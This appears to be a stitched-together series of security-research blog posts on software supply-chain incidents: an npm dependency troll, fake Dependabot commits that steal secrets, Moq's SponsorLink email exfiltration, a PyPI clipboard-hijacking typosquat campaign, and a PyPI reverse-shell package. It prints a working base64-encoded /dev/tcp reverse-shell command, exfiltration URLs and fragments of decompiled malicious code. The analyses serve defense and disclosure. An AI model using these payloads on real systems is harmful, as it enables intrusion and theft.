When ‘Everything’ Goes Wrong: NPM Dependency-Hell Campaign — 2024 Edition
Happy New Year! What a way to open 2024! NPM user account gdi2290 aka PatrickJS published a troll campaign to the NPM registry by uploading a package named “everything” that relies on every other public NPM package, resulting in millions of transitive dependencies.
This leads to a Denial of Service (DOS) for those who install “everything,” causing issues such as storage space exhaustion and disruptions in build pipelines.
The creators of the “everything” package have published over 3000 sub-packages. These sub-packages are designed to split the dependencies into chunks and comprehensively depend on all publicly available NPM registry packages.
The creators have also registered the domain https://everything.npm.lol/. On this website, they showcase the ensuing chaos and incorporate a famous meme from The Elder Scrolls V: Skyrim, adding an extra layer of humor or mockery to the situation.
Not the first time this has happened.
A year ago, we encountered an intriguing situation with the package “no-one-left-behind” by Zalastax. This unique package depended on every publicly available npm package, creating an intricate web of dependencies. Despite being removed by the npm security team, a new development emerged on Jan 28th, 2023. Over 33,000 packages under the scope “infinitebrahmanuniverse,” prefixed with “nolb-,” surfaced as sub-packages of “no-one-left-behind.”
The downsides of those trolls
Imagine you did an experiment, published a package to NPM and now you want to remove your NPM package. You can’t do it if other packages are using it. The problem is, since “everything” relies on every package, including yours, your package gets stuck, and there’s some unknown package preventing you from removing it.
An attempt to delete the packages
It doesn’t seem PatrickJS realized the headache his troll would cause to some users. Two days after the prank packages were published, he created an issue and shared that he is unable to delete the packages since the NPM mechanism prevents deletion of published packages once they are being used by other projects and calls for help from NPM support team.
Summary
This act of digital mischief by PatrickJS echoes past incidents, highlighting ongoing challenges in package management and the cascading effects of dependencies within the NPM ecosystem. The situation underlines the comedic yet serious consequences of such pranks in the developer community.
In July 2023, we detected suspicious commits in hundreds of GitHub repositories, appearing as if contributed by Dependabot but carrying malicious code.
These commit messages were fabricated by threat actors to disguise their malicious activity.
Upon investigation, we confirmed that the attackers stole victims’ GitHub personal access tokens to make these malicious contributions.
The malicious code exfiltrates secrets to a C2 server and injects web-form password-stealing malware into JavaScript files, affecting end-users.
Private GitHub organization repositories were also impacted due to compromised tokens.
The method of token theft remains unclear, possibly linked to a malicious open-source package.
This blog will provide details on the malicious payload and highlight the current challenge of detecting such token-based attacks on GitHub.
Illustration of the attack flow; The attacker uses the victim’s personal access token to poison code repositories and hide malicious JavaScript code also to impact users.
About Dependabot
Dependabot is GitHub’s free automated dependency management tool for software projects. It continuously monitors a project’s dependencies (like libraries and packages) for security vulnerabilities and outdated versions. When it detects issues, it automatically generates pull requests with updates, helping developers keep their software secure and up to date.
Between July 8–11, a threat actor started compromising hundreds of GitHub repositories, both public and private. Most victims are Indonesian user accounts. The attackers used a technique to fake commit messages (read more about how it’s done here) to trick developers into thinking this was contributed by the real dependabot and to ignore this activity.
The attackers created a commit message “fix” which appears to be contributed by the official user account dependabot[bot]
In the various repositories we analyzed (the full list remains internal but it was hundreds of repositories) we saw two groups of repeated code changes, most likely done with an automated script.
A New GitHub Action to Steal Secrets
A new GitHub Action file named “hook.yml” was added as a new workflow file, triggers a code push event. It sends GitHub secrets and variables to URL hxxps://send[.]wagateway.pro/webhook. This action is triggered on every push event.
In addition to the added GitHub Action, the attackers modified every existing project file having the “*.js“ extension and appended an obfuscated line at the end of the file.
This new line is designed to create a new script tag as the code is executed on a browser environment and loads an additional script from this URL: hxxps://send[.]wagateway.pro/client.js?cache=ignore.
The code loaded from hxxps://send[.]wagateway.pro/client.js?cache=ignore is attempting to intercept any web-based password form and send the user-credentials to the same exfiltration endpoint as before; URL hxxps://send[.]wagateway.pro/webhook
A screenshot of the malicious code; designed to steal user-form credentials.
To get a better understanding of how this happened, we approached some of the victims by sending an email notifying them of the breach and asking for help understanding the full picture.
Luckily, some victims agreed to share information with us, and surprisingly when inspecting the accounts activity we realized that the attackers accessed the accounts using compromised PATs (Personal Access Token) — most likely exfiltrated silently from the victim’s development environment.
Step 1 — Workspace Initialization
The victim must set up their development environment with a personal access token (or SSH/GPG key) identifying their account whenever they make git operations. This token is stored locally on the developer’s machine and can be extracted easily.
Such access tokens do not require 2FA and can be used to access the account by any computer with internet access.
We believe the most likely scenario is that the victims were infected with such a malicious package, which exfiltrated the token to the attacker’s C2 server.
Step 3 — Poisoning the Victim’s Code Projects
In this step the attackers used the stolen victim’s personal access tokens to authenticate to GitHub and make the malicious code changes described above.
Analysis of the scale of the attack reveals that it appears to be automated.
Conclusion
This whole situation teaches us to be careful about where we get our code, even from trusted places like GitHub. It shows that even big platforms can have problems, so we need to always watch out and protect ourselves online.
This is the first incident we witnessed a threat actor using fake git commits to disguise activity, knowing that many developers do not check the actual changes of dependabot when they see it.
To make things safer, consider switching to GitHub’s fine-grained personal access tokens . These tokens allow you to reduce the risk of compromised tokens. So, if someone bad gets one of these keys, they can’t do a lot of damage.
Sadly, the GitHub personal access token’s access log activity is only visible for enterprise accounts. If your token got compromised, you can’t know for sure because this information is not visible for non-enterprise users in the audit log section.
The attacker’s Tactics, Techniques, and Procedures (TTPs) involve the use of fake commits, stealing user credentials, and impersonating Dependabot to avoid detection show us supply chain attacks are getting more sophisticated as attackers realize it doesn’t take much to move silently
During 2023 - The threat actors attacked multiple victims and harvested personal access tokens (we don’t know how it was done and guessing malicious packages were involved)
2023–07–08 - The attackers used the stolen GitHub tokens in an automated attack, poisoning multiple repositories.
2023–07–24 - We first noticed this anomaly and began investigating.
2023–07–24 - Contacted the GitHub accounts infected by this attack + reported to GitHub.
2023–09–20 - We met with one of the victims, and reviewed his access logs which helped us understand the attack flow.
The highly popular NuGet package Moq with total downloads of 475M+, released on August 8th new versions 4.20.0-rc, 4.20.0 and 4.20.1with a new sub-dependency that hiddenly executes code reading the user’s local git config, extracting the developer’s email address, hashing it, and sending it to a cloud service.
Moq is a highly popular open-source project to provide a mocking library for .NET applications. From the project’s GitHub page:
Moq (pronounced “Mock-you” or just “Mock”) is the only mocking library for .NET developed from scratch to take full advantage of .NET Linq expression trees and lambda expressions, which makes it the most productive, type-safe and refactoring-friendly mocking library available. And it supports mocking interfaces as well as classes. Its API is extremely simple and straightforward, and doesn’t require any prior knowledge or experience with mocking concepts.
Moq’s New Sub-Dependency - “SponsorLink”
Since version 4.20.0 of Moq, Devlooped.SponsorLink NuGet package has been added as a new dependency.
As it turned out, Devlooped.SponsorLink is a closed-source project, provided as a compiled dll with obfuscated code, which scans the git config and sends the hashed email of the current developer to a cloud service. This code is executed during the application build and if you are depends on Moq there is no option to disable this.
Obfuscated Code
User account d0parecommented and found that the library spawns an external git process to get the developer’s email from the command git config --get user.email , then does some hashing and sends the result to hxxps://cdn.devlooped[.]com/sponsorlink.
private static string \u00a0(string P_0) { try { Process process = Process.Start(new ProcessStartInfo( // this is obfuscated value of "git" 6FA47342-3716-4274-AF01-7A37793E0E97.\u206f(),
// this is obfuscated value of "config --get user.email" 6FA47342-3716-4274-AF01-7A37793E0E97.\u3000() ) { RedirectStandardOutput = true, UseShellExecute = false, CreateNoWindow = true, WorkingDirectory = P_0 }); process.WaitForExit(); if (process.ExitCode != 0) { return null; } return process.StandardOutput.ReadToEnd().Trim(); } catch {} return null; }
He later discovered that the library also loads settings from the URL hxxps://cdn.devlooped[.]com/sponsorlink/settings.ini and is evasive in case one of the following environment variable exists
CI TF_BUILD TRAVIS BUDDY TEAMCITY_VERSION APPVEYOR JENKINS_URL
Users Looking For Alternatives
And I don’t blame them. Many users seem concerned about GDPR compliance as their products are built using Moq. This user commented that he won't be able to use this package any more:
This is a serious GDPR breach, and we won’t be able to continue using this lib. Also, having an obfuscated package included means that we can’t (easily) know what is happening. It could harvest any other information from a developer’s machine without any user consent.
GitHub user account kzu, the author behind this, commented that it was simply part of testing, and he wonder “why so much anger over sponsoring which can be done with as little as $1”
After posting this message, kzu probably panicked and decided to revert and unpublish versions 4.20.0 and 4.20.1 while quickly publishing 4.20.2 without the new dependency in Devlooped.SponsorLink NuGet package.
Summary
Yesterday the owner of the popular NuGet package Moq incorporated a new sub-dependency, which exfiltrates the user info without his consent to hxxps://cdn.devlooped[.]com — a domain owned by the author of the Moq.
This sparked a debate on Reddit and GitHub, leaving many concerned users accusing this action of GDPR violations and statements regarding the legitimacy of his action.
Many organizations that built software using those releases are exposed to GDPR compliance.
In my opinion, the author did not intend to cause any harm but ended up damaging the trust of his users. This could have been prevented if it had been open for discussion prior to publishing the new changes and accepting the content of his users.
We must understand that it's our responsibility when we use open source. This is why we need to support open-source maintainers in order to have a healthy open-source ecosystem.
Timeline
2023–01–23: Devlooped.SponsorLink first release to NuGet 2023–01–24: Author published a blogpost suggesting a new solution to open source sustainability using the SponsorLink service 2023–08–08: Moq released new versions 4.20.0-rc, 4.20.0 and 4.20.1 with Devlooped.SponsorLink as a dependency 2023–08–09: Moq released version 4.20.2 removing the Devlooped.SponsorLink dependency
Starting Feb 9 2023, an attacker published a total of 444 malicious packages via 22 different PyPi user accounts. The malicious packages infect the victim’s web browser with a hidden extension that manipulates the clipboard and changes the value of a copied crypto wallet address to match the attacker’s crypto wallet address.
Update 12/2/2023: The attack continues - 900 packages so far Since the original publication of this blog, 456 additional packages containing the same code were found. All were published on 11/2/2023 using 17 additional PyPi user accounts. This brings the subtotal of packages found in the incident thus far to 900 from 39 different user accounts. PyPi quickly removed all new packages.
Stay tuned, as this attack may still be in progress, and it’s possible that new packages will be published in the upcoming days.
For those who are unfamiliar with it, Typosquatting is a malicious technique used by attackers to trick victims into downloading and installing what appears to be a legitimate open-source package but is actually a disguised version of the malicious packages containing harmful code.
In this incident, the attacker published packages that closely resemble the names of the following (highly popular) packages:
As humans make typing mistakes, someone probably will mistype the name and will end up installing the attacker’s code.
Analyzing the Malicious Packages
All 444 packages share the same payload. The malicious code is executed upon installation and its obfuscated with variable names in Chinese (e.g. 馬女水女口目人馬鳥月水馬山山馬鸟)
After deobfuscating and debugging the malicious code, I saw the attacker was deploying a browser extension embedded in the code into the path %APPDATA%\Extension
To activate the extension as it is unlisted in the official marketplaces, the code modifies shortcuts to launch browsers placed in the following paths:
Those shortcuts are modified to include the argument — load-extension=%APPDATA%\Extension to this closed list of web browsers’ .exe files:
chrome.exe (Google Chrome)
msedge.exe (Microsoft Edge)
launcher.exe (Opera Internet Browser)
brave.exe (Brave Browser)
Malicious Browser Extension
The browser extension is comprised of two files: manifest.json, which requests permission to access the clipboard, andbackground.js contain multiple regular expressions to replace copied Crypto wallet addresses with hard-coded wallet addresses owned by the attacker:
let page = chrome.extension.getBackgroundPage();
var inputElement = document.createElement('input'); document.body.appendChild(inputElement); inputElement.focus();
To see it in action, I made a short video demonstrating how this malicious extension manipulates the victim’s clipboard:
Timeline
Nov 4 2022: Attacker create an infrastructure of at least 22 PyPi user accounts
Feb 9–10 2023: Attacker publishes 444 malicious typosquatting packages to PyPi
Feb 10 2023: I reported to the PyPi security team
Feb 10 2023: PyPi security team removed the malicious packages
Conclusion
I started this investigation on Feb 10 when I noticed a typosquatting attack on Selenium. I originally reported a portion of this campaign, and I later continued to play with the tools my team created and discovered more related activities.
I reported the findings to the Python security team, and they quickly removed all malicious packages (special thanks to Ee Durbin).
Planned Attack
As all user accounts involved were created on Nov 4, 2022, this is a clue of a planned attack, and it doesn’t seem to be a coincidence the strike on weekends as attackers are aware defenders and the ecosystem's security teams might not have full availability during the weekend.
Package Names
Sharing the following gist with indicators of the package name as well as the user accounts
A PyPi user account, aidoc, was found to have been publishing malicious packages
The malicious code in the packages opens a remote shell on the victim’s machine and uses a simple persistence mechanism by appending the malicious command to the “.bashrc” and “.zshrc” files.
I conducted a proactive experiment on a virtual machine and was able to interact with the attacker via Python script.
Background
Over the past few years, my team’s mission has been to fight software supply chain hackers who attack developers and users through open-source code. Our goal is to detect as soon as possible and report the relevant security teams to jam their operations.
To support our mission, my team created an automated package analysis pipeline, which scans new packages as soon as they are uploaded to the open-source ecosystem.
One of our engines is called “Watchdog”. This engine is aware of known-as-bad user accounts which previously published malicious packages. This engine brings useful context when such user accounts make new contributions and out of the many user accounts in our “naughty list”, one PyPi user account aidoc (first seen in August 2022) pops up again out of nowhere and starts dropping more of the same. We’re on it, but heads up, this guy’s dangerous.
activity over time of PyPi user account aidocfirst seen in August 2022
In addition, another engine my team integrated into our analysis pipeline is called “Groot”, a dynamic analysis engine (sandbox). The purpose of this engine is to thoroughly detonate and analyze open-source packages by installing, importing, and using SAST tools to invoke functionality within.
This engine results in a full audit of the package’s behavior, including any files created, subprocesses launched, network communications (including TLS traffic), and other useful insights.
Screenshot from Groot (our dynamic analysis engine) results — audited the behavior of the malicious package
What’s Inside the Package?
Upon receiving a prioritized signal from our analysis pipeline, I manually inspected the newly published packages.
The malicious code is placed in the “setup.py” script and executed upon installation. The attacker used function names referring to users as victims such as identifyVictim()and it appears the purpose is to open a remote shell on the victim’s machine. The attacker tried to hide the command by encoding it as base64
base64 -D <<< KGJhc2ggLWMgJzA8JjEwMC07ZXhlYyAxMDA8Pi9kZXYvdGNwLzMuMjIxLjE1Mi4yMDMvNzcxO3NoIDwmMTAwID4mMTAwIDI+JjEwMCcgPiAvZGV2L251bGwgMj4mMSAmKQo= | sh
a simple command to initiate remote shell receiving commands from IP address 3.221.152.203 on port 771
In addition, a simple persistence mechanism was used by appending his malicious base64-encoded command to the end of “.bashrc” and “.zshrc” files.
Proactive Experiment
I decided to perform a proactive experiment on a virtual machine I created for the task. I started by infecting the virtual machine with one of the malicious packages by running the command:
pip install aidoc-e2e-utils
It didn’t take too long before I saw the attacker writing files to disk and reading sensitive files.
screenshot from the pcap file recorded on the virtual machine — attacker sending commands
After letting the attacker play with my virtual machine, I decided to take it to the next level by writing a Python script that connects to the attacker’s C2 server using a raw socket and waits to receive a new command.
When such a command is received, the script prompts my confirmation to execute; otherwise, allowing me to type whatever made-up output I decide.
This is my dialog with the attacker on the other end:
attacker: whoami victim: who are you?
attacker: ifconfig victim: 192.168.0.1
attacker: ls ~/ victim: yo, lets talk. who are you?
attacker: ls . victim: who are you?
attacker: Security Engineer. You? victim: Are you sure? security engineers don't write reverse shells.
attacker: ls ls ls ifconfig victim: nope.
attacker: ls . victim: Where are you from?
attacker: I am checking Internal systems. Dependency confusion you know. If not our system, I am killing the shell and drop the connection (just dont connect back) See you
In our exchange, the attacker claimed to be a security researcher who was “checking Internal systems. Dependency confusion you know.” and said that “If not our system, I am killing the shell and drop the connection.”
I know this attacker did more than he claims as our dynamic analysis engine observed him dropping new files and executing commands to read sensitive files such as “cat /etc/passwd”.
Not to mention that security researchers usually don’t infect other machines with reverse shells and connect interactively.
panic_mode: true
Shortly after our conversation, I noticed the attacker published new versions to all packages owned by PyPi user account aidoc, omitting the word “victim” and removing the remote shell code, leaving what appears to be a simple beacon to indicate to the server that one of the packages was installed.
Although no “DO NOT RUN” warnings and disclaimers exist, I consider this package more suitable for research purposes.
If the person behind this attack is indeed a security engineer, then it seems suspicious to us that they failed to declare their intent and identity as a security professional. Moreover, the reverse shell functionality, as well as other actions described in this blog, are not in alignment with what is expected from a security researcher.
Incidents in which actions of individuals claiming to be security professionals caused severe damages, such as the poisoning of the popular “ctx” Python package, raise the topic of a certain “code of conduct”
Don’t get mistaken, it’s not a malicious package problem. It’s an attacker's problem.
Apparently, this threat actor was targeting aidoc.com, which is an Israeli startup in the field of healthcare artificial intelligence. I have reached out to the company’s CISO and executives to inform them that someone might be targeting their organization (as the packages prefixed “aidoc-“ and the user account “aidoc”).
In addition, I reported this activity to PyPi’s security team and they removed the malicious packages.
My team will continue to monitor the ecosystem for attackers and to continue working together to keep the ecosystem safe.
Entrar
